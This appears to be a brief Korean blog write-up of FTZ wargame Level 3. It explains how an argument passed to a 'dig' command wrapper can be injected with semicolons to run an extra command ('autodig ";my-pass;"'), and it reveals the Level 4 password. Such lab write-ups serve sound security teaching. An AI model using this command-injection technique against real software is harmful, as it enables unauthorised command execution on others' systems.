Wargame & CTF/FTZ
[FTZ] Level3 Write-up
cg10036
2019. 5. 21. 00:25
cmd = "dig @" + argv[1] + " version.bind chaos txt"이다.
일단 echo 1; echo 2; echo 3;과 echo 1 && echo 2 && echo 3을 입력해보자.
둘다 값이 같다. 그러면 만약에 틀린 명령어와 올바른 명령어를 같이 섞어서 입력하면 어떻게될까?
ee; echo 2; ee;과 ee && echo 2 && ee를 입력해보자.
&&는 앞에 명령어가 틀리니 뒤에 명령어가 실행되지 않는다.
리눅스의 명령어는 ;(세미콜론)으로 나뉘어진다. 그러므로
echo 1; echo 2; echo 3;는
echo 1
echo 2
echo 3
과 같다.
그러므로!!!!! 그냥 dig @;my-pass; version.bind chaos txt 이렇게 입력되게 하면
dig @
my-pass
version.bind chaos txt
과 같다. 그러므로 패스워드가 나오게 된다.
autodig ";my-pass;"를 입력한다.
Level4 : suck my brain